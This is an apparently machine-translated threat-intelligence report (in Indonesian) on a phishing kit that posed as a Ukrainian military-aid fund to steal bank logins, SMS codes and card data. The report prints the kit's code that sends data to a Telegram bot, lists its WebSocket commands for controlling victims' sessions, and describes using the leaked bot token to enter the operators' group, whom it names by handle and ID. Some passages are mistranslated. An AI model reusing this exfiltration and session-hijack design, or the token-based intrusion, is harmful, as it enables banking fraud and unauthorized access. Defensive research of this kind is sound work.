Jaringan Phishing Bantuan Militer Terungkap: 5 Bank Jadi Sasaran, Pelakunya Telah Diidentifikasi

Temuan PhishDestroy

Pada tanggal 20 Maret 2026, Pipeline deteksi ancaman otomatis PhishDestroy mendeteksi dopomogvoina[.]sbs — sebuah domain yang baru saja didaftarkan dan menjadi tuan rumah situs phishing yang menyamar sebagai "Perisai Sang Pelindung" (Perisai Sang Pembela), sebuah yayasan bantuan militer Ukraina yang dibuat-buat. Situs tersebut menargetkan para veteran militer Ukraina, korban luka perang, dan keluarga prajurit yang gugur, dengan menjanjikan bantuan keuangan dari pemerintah sambil mencuri data akses perbankan dari lima bank terbesar di Ukraina.

Berikut ini adalah uraian lengkap mengenai semua temuan yang diungkap oleh analisis otomatis kami: teknik rekayasa sosial, infrastruktur teknis, sistem kendali operator secara real-time, serta identitas orang-orang yang mengelolanya.

Bagian 1: Umpan — Yayasan Bantuan Militer Palsu

Domain tersebut dopomogvoina[.]sbs telah didaftarkan pada tanggal 20 Maret 2026 melalui NiceNIC International Group Co., Limited, sebuah lembaga pendaftaran domain yang memiliki riwayat yang tercatat dengan jelas mengenai respons yang lambat atau bahkan tidak ada sama sekali terhadap kasus penyalahgunaan. The .sbs TLD (Side-By-Side) adalah gTLD berbiaya rendah yang sering dimanfaatkan untuk infrastruktur phishing sekali pakai.

Situs ini menampilkan diri sebagai portal bantuan profesional yang terkait dengan pemerintah. Bendera Ukraina menghiasi bagian header, gambar-gambar bertema militer menambah kesan keaslian, dan halaman tersebut ditulis dengan cermat dalam bahasa Ukraina menggunakan gaya bahasa birokratis yang menyerupai program-program pemerintah yang sah.

Tangkapan layar 5 — Halaman awal situs phishing yang menyamar sebagai "Щит Захисника" (Perisai Sang Pembela).

Untuk membangun kredibilitas, para operator memalsukan sebuah penghitung statistik yang ditampilkan secara mencolok di halaman beranda:

• 2.847 permohonan — yang berarti ribuan orang telah menerima bantuan
• ₴47,2 juta telah dibagikan — sosok yang besar namun tetap meyakinkan dalam UAH
• 19 program — yang mengisyaratkan suatu operasi yang komprehensif dan melibatkan berbagai program

Angka-angka ini sepenuhnya dibuat-buat, ditanamkan secara permanen dalam kode sumber halaman tanpa koneksi ke server belakang. Angka-angka ini memiliki satu tujuan saja: sebagai bukti sosial untuk menghilangkan keraguan korban.

Bagian 2: Perangkap — 5 Bank, Satu Tujuan

Setelah mengklik "Подати заявку" (Kirim Permohonan), korban akan diarahkan ke layar pemilihan bank. Lima bank ritel terbesar di Ukraina muncul sebagai pilihan, masing-masing dengan merek dan logo resminya. Di sinilah teknik rekayasa sosial beralih dari manipulasi emosional ke pencurian teknis.

Tangkapan layar 6 — Layar pemilihan bank. Setiap opsi akan mengarah ke urutan pencurian kredensial yang disesuaikan.

Analisis terhadap bundel JavaScript situs tersebut menunjukkan bahwa setiap bank memiliki sebuah urutan pengumpulan kredensial bertahap yang unik, yang disesuaikan agar sesuai dengan alur otentikasi yang sebenarnya di bank tersebut:

Alur serangan terhadap setiap bank mengikuti pola yang sama:

Tangkapan layar 7 — Halaman login PrivatBank yang dikloning.

Tangkapan layar 9 — Halaman login PUMB yang dikloning.

Tangkapan layar 10 — Alur serangan lengkap: mulai dari halaman bantuan militer palsu, pemilihan bank, hingga pencurian kredensial dan pengambilalihan akun.

Rangkaian teknologi: React SPA antarmuka pengguna disajikan melalui CDN Cloudflare, dengan sebuah Express.js backend yang menangani pengambilan data kredensial. Arsitektur React memungkinkan formulir bertahap yang berjalan mulus dan tampak tak dapat dibedakan dari antarmuka perbankan yang sah.

Bagian 3: Pengendalian Operator Secara Real-Time

Ini bukanlah alat pengumpul kredensial biasa yang menggunakan basis data statis. Kit phishing ini mencakup sebuah panel kontrol WebSocket langsung yang memungkinkan operator manusia mengendalikan setiap sesi korban secara real time.

Titik akhir WebSocket di wss://dopomogvoina[.]sbs/ws mendukung jenis pesan berikut:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Kontrol waktu nyata ini memungkinkan operator untuk:

• Memaksa ke keadaan menunggu — menampilkan pesan "Sedang memproses permohonan Anda..." saat mereka masuk ke rekening bank asli korban
• Mengalihkan ke langkah tertentu — minta kembali kode SMS jika kode yang pertama sudah kedaluwarsa
• Tampilkan pesan kesalahan palsu — "Kode tidak valid, silakan masukkan kembali" untuk mengumpulkan beberapa token 2FA
• Ajukan pertanyaan khusus — meminta tanggal lahir, nomor kartu, atau data tambahan apa pun di tengah sesi

Tangkapan layar 8 — Formulir pengisian nomor telepon yang digunakan untuk melancarkan pencurian kredensial.

Tangkapan layar 11 — Panel bot waktu nyata milik operator untuk mengendalikan sesi korban.

Seluruh data yang dicuri dalam setiap sesi: phone, password, PIN, SMS code, card number, date of birth, dan email.

Bagian 4: Di Balik Layar Cloudflare — Dua Proyek, Satu Server

Proksi Cloudflare menyembunyikan server asal, tetapi Pipeline analisis infrastruktur PhishDestroy berhasil mengidentifikasi alamat IP asal yang sebenarnya: 45.131.214[.]148, diselenggarakan di RapidSeedbox / LeaseWeb di Belanda.

Sebuah detail penting: dopomogvoina[.]sbs disalurkan melalui Cloudflare, menyembunyikan alamat IP asalnya. Namun, sistem kami juga melacak hlpforvpeople[.]sbs — sebuah domain terkait yang didaftarkan melalui penyedia layanan pendaftaran domain NiceNIC yang sama dengan pola yang serupa. Domain tersebut adalah BUKAN di balik Cloudflare, yang secara langsung memperlihatkan alamat IP asalnya: 45.131.214[.]148.

Menghubungkan ke alamat IP ini secara langsung — tanpa Host judul — mengungkapkan sesuatu yang tak terduga: sebuah situs phishing yang sama sekali berbeda. Alih-alih bantuan militer Ukraina, vhost default yang disajikan "Kartu Identitas Kesehatan", sebuah operasi phishing asuransi kesehatan di Indonesia. Server yang sama, korban yang sama sekali berbeda, negara yang sama sekali berbeda.

Tangkapan layar 12 — Dua operasi phishing yang berjalan secara paralel dan menggunakan server asal yang sama: bantuan militer Ukraina (dopomogvoina) dan asuransi kesehatan Indonesia (HealthCare ID).

Template phishing Indonesia adalah sebuah kit yang diketahui telah dilacak dalam basis data intelijen ancaman PhishDestroy. Kami telah melihat varian dari templat yang persis sama ini digunakan di seluruh Asia Tenggara — yang menargetkan lembaga keuangan di Indonesia, Thailand, dan Vietnam. Para pelaku kejahatan siber cukup mengganti templat yang disesuaikan dengan negara sasaran sambil tetap menggunakan infrastruktur backend yang sama.

Bagian 5: Berkas config.json yang Membongkar Segalanya

Inilah bagaimana satu berkas yang salah konfigurasi dapat menggagalkan seluruh operasi — langkah demi langkah.

Setelah mengidentifikasi proyek kedua dari server asal, PhishDestroy's JS Analyzer — alat kecerdasan JavaScript otomatis kami — diarahkan ke kumpulan situs phishing Indonesia di https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Alat analisis tersebut mengekstrak semua titik akhir API, URL eksternal, dan jalur konfigurasi dari berkas JavaScript berukuran 335KB. Di antara temuan-temuan tersebut:

• Lima titik akhir API di rezervtemka[.]cc — panel C2 untuk verifikasi kredensial
• Koneksi WebSocket ke wss://rezervtemka[.]cc
• Integrasi Facebook Pixel untuk pelacakan korban
• Sebuah rujukan kepada /config.json — dimuat saat runtime untuk konfigurasi bot Telegram

Mengikuti petunjuk ini, kami mengambil /config.json dari alamat IP asal. Berkas tersebut dapat diakses tanpa otentikasi apa pun — terletak di direktori akar situs web, dan dapat dibaca oleh siapa saja:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Yang /config.json Berkas tersebut dapat diakses langsung dari alamat IP asal — tanpa otentikasi, tanpa kontrol akses, hanya berkas JSON biasa yang tersimpan di direktori akar situs web:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Token bot Telegram berfungsi ganda sebagai nama pengguna dan kata sandi. Siapa pun yang memiliki token tersebut dapat melakukan panggilan API atas nama bot tersebut. Para operator meninggalkan token mereka di sebuah berkas yang dapat diakses publik. Setelah enam panggilan API, kami sudah memiliki semuanya:

Tangkapan layar 13 — Rantai OSINT lengkap: mulai dari berkas config.json yang terungkap hingga identifikasi lengkap operator hanya dalam 6 panggilan API.

Mulai dari satu berkas yang salah konfigurasi hingga identifikasi lengkap operator hanya dalam enam permintaan HTTP. Tanpa eksploitasi, tanpa akses tanpa izin — hanya panggilan API Bot Telegram standar yang menggunakan token yang sengaja dibiarkan terbuka oleh para operator itu sendiri.

Bagian 6: Para Operator

Tangkapan layar 14 — Grup operator Telegram "Idr card", yang terungkap melalui token bot yang bocor.

Pemilik / Pencipta

MONETTI ESCOBAR

@monettiescobar

ID Telegram: 8135223234

Telegram Premium, Profil Bisnis

Zona waktu: UTC+3 (wilayah CIS)

10 pesan publik — OPSEC yang ketat

TraFFeeQ ChatMedusa Google AdsSaluran Deepfakes

Operator / Lalu Lintas

Bonya

@BoaCC159

ID Telegram: 6242202706

Juga dikenal sebagai: PapaZakonVor, Boa, bubullikk

261 pesan di 12 grup

DC2 — Amsterdam, Belanda

CryptoGrabPasar STYXRaven CCEMPIRE CHATSolusi Phoenix

Pengembang / Pemrogram

Devoys

@devosus

ID Telegram: 8213612730

Pengembang kit phishing — para operator memanggilnya "coder"

Diminta untuk "mempertimbangkan aspek keamanan" saat pelanggaran terdeteksi

Desain yang meminimalkan dampak terhadap lingkungan

Pegangan @devosus ≈ "dev ops us" — jabatan sebagai nama pengguna

Pengembang kitInfrastrukturKeamanan

MONETTI ESCOBAR — Sang Bos

MONETTI menerapkan keamanan operasional yang ketat — hanya 10 pesan publik di antara 2 kelompok. Namun, kedua kelompok tersebut menceritakan kisahnya: TraFFeeQ Chat (arbitrase lalu lintas untuk penipuan), Medusa Google Ads (Google Ads yang curang), dan sebuah Saluran Deepfakes. Profil bisnisnya di Telegram mencantumkan "Есть предложение" ("Ada usulan") — secara terbuka mengiklankan layanannya. Zona waktu UTC+3 (sama dengan Moskow/Minsk/Kyiv) dan jam operasional 24/7 menegaskan bahwa perusahaan ini berbasis di CIS dan beroperasi sepanjang waktu.

Bonya — Si Ceroboh

Berbeda dengan kebijakan OPSEC MONETTI yang ketat, Bonya (nama samaran sebelumnya: PapaZakonVor — kira-kira "DaddyThiefByLaw") meninggalkan jejak digital yang sangat banyak — 261 pesan di 12 kelompok bawah tanah. Riwayat obrolannya tampak seperti riwayat hidup seorang penjahat:

Keanggotaannya dalam berbagai kelompok memberikan gambaran yang lengkap: CryptoGrab (penipu yang menguras dompet kripto), Pasar STYX (pasar gelap untuk data curian), Pemeriksa CC Raven (alat verifikasi kartu kredit), EMPIRE CHAT dan Solusi Phoenix (koordinasi penipuan). Ini bukanlah pelaku kejahatan yang hanya melakukan tindak kejahatan sekali saja — ini adalah seseorang yang sudah tertanam dalam ekosistem kejahatan siber.

Devoys — Pengembang

Tulang punggung teknis dari operasi tersebut. Dirancang agar jejak publiknya seminimal mungkin — ketika kelompok itu diretas, Bonya secara tegas memintanya: "@devosus, pikirkan dulu soal pertahanan sebelum kita dihajar habis-habisan" — "@devosus, pikirkan strategi pertahanan sebelum kita dihajar habis-habisan." Tanggapan sarkastisnya terhadap pelanggaran tersebut — "ketika di Interpol" ("kapan harus melakukan interpolasi") — menunjukkan bahwa ini bukanlah kali pertama mereka lolos dari bahaya.

Analisis Perilaku: 261 Pesan yang Diuraikan

OSINT Pipeline PhishDestroy telah mengumpulkan dan menerjemahkan keseluruhan 261 pesan publik dari Bonya melalui 12 grup Telegram bawah tanah (Juni 2024 — Maret 2026). Terjemahan mesin menggunakan API DeepL dengan koreksi konteks secara manual. Pesan-pesan tersebut mengungkap profil operasional yang lengkap — yang dikategorikan di bawah ini berdasarkan jenis kegiatan kriminal.

Penipuan Perbankan & Phishing

Kurir Uang & Penarikan Tunai

Penipuan Lalu Lintas & Penyalahgunaan Iklan

MONETTI ESCOBAR: Bos yang Diam-diam

Berbeda jauh dengan 261 pesan yang dikirim Bonya, MONETTI hanya memiliki 10 pesan publik — semuanya dalam satu utas di TraFFeeQ Chat (Arbitrase lalu lintas ADS/SEO gelap), membela seorang rekan kerja:

Grup Telegram MONETTI memberikan informasi selengkapnya: Medusa Google Ads (penipuan PPC black-hat), sebuah Saluran Deepfakes (media sintetis untuk penipuan), dan OBROLAN MARLBORO (pribadi, tidak diketahui). Langganan Telegram Premium, jam operasional 24/7, dan "Есть предложение" ("Ada usulan") Profil bisnisnya menggambarkan sosok yang memandang kejahatan siber sebagai usaha penuh waktu.

Tangkapan layar 2 — Profil Telegram MONETTI.

Tangkapan layar 3 — Profil Bonya. Perhatikan DC2 (Amsterdam).

Bagian 7: Ruang Panik

Setelah PhishDestroy mengakses grup operator melalui bot Telegram yang terpapar, terjadi percakapan berikut ini. Log obrolan di bawah ini telah diterjemahkan ke dalam bahasa Inggris, dengan teks asli dalam bahasa Rusia tetap dipertahankan dalam huruf miring. Identitas yang digunakan untuk mengakses grup tersebut telah disamarkan.

Grup itu dihapus dalam hitungan menit. Tanda perpisahan dari Bonya — "+" — dan jawaban Devoys yang menegaskan "iya" sudah cukup menjelaskan semuanya: Mereka tahu bahwa mereka telah terungkap, dan satu-satunya langkah yang bisa mereka ambil adalah menghancurkan barang bukti. Namun, pada saat itu, data tersebut sudah tercatat.

Perhatikan komentar Bonya yang mengungkap hal tersebut: "Kami juga diserang melalui bot Ukraina" — yang menegaskan bahwa kedua proyek tersebut (Ukraina dan Indonesia) dikelola oleh tim operator yang sama, dan ini bukanlah kali pertama infrastruktur mereka diretas.

Bagian 8: Apa yang Ditunjukkan oleh Hal Ini

Jadwal Penyelidikan

Domain Terkait

Analisis kami mengidentifikasi domain kedua — hlpforvpeople[.]sbs — terdaftar melalui penyedia layanan pendaftaran yang sama dengan pola infrastruktur yang serupa. Kedua domain tersebut tercatat dalam basis data kami:

• Laporan PhishDestroy: dopomogvoina[.]sbs
• Laporan PhishDestroy: hlpforvpeople[.]sbs

Poin-Poin Penting

• Otomatisasi adalah satu-satunya cara untuk tetap mengikuti perkembangan. Perangkat phishing dapat dipasang dan dimanfaatkan sebagai senjata dalam hitungan jam. Peninjauan manual tidak mampu menyesuaikan diri dengan kecepatan tersebut.
• Operator bisa saja melakukan kesalahan. Sebuah berkas konfigurasi yang terpapar pada proyek sekunder berhasil mengungkap seluruh operasi phishing berskala multinasional. Sangat sulit untuk mempertahankan OPSEC yang sempurna di setiap proyek.
• Rekayasa sosial terus berkembang seiring dengan dinamika berita. Perang, bantuan kemanusiaan, dan program pemerintah semakin sering dimanfaatkan sebagai umpan phishing karena menargetkan orang-orang yang sedang dalam kesulitan, yang cenderung tidak mempertanyakan keabsahan hal tersebut.
• Pemanfaatan kembali infrastruktur sudah menjadi hal yang lazim. Satu server, dua proyek phishing, dua negara, operator yang sama. Pemetaan koneksi infrastruktur mengungkapkan jauh lebih banyak informasi daripada sekadar menganalisis satu domain secara terpisah.

Penafian: Penelitian ini dilakukan sepenuhnya melalui pengintaian pasif dan API publik. Tidak ada akses tidak sah yang dilakukan terhadap sistem mana pun. Panggilan API Telegram Bot menggunakan token yang dipublikasikan oleh operator di titik akhir yang tidak memerlukan otentikasi. Semua nama domain dalam artikel ini telah disamarkan sesuai dengan konvensi standar keamanan informasi.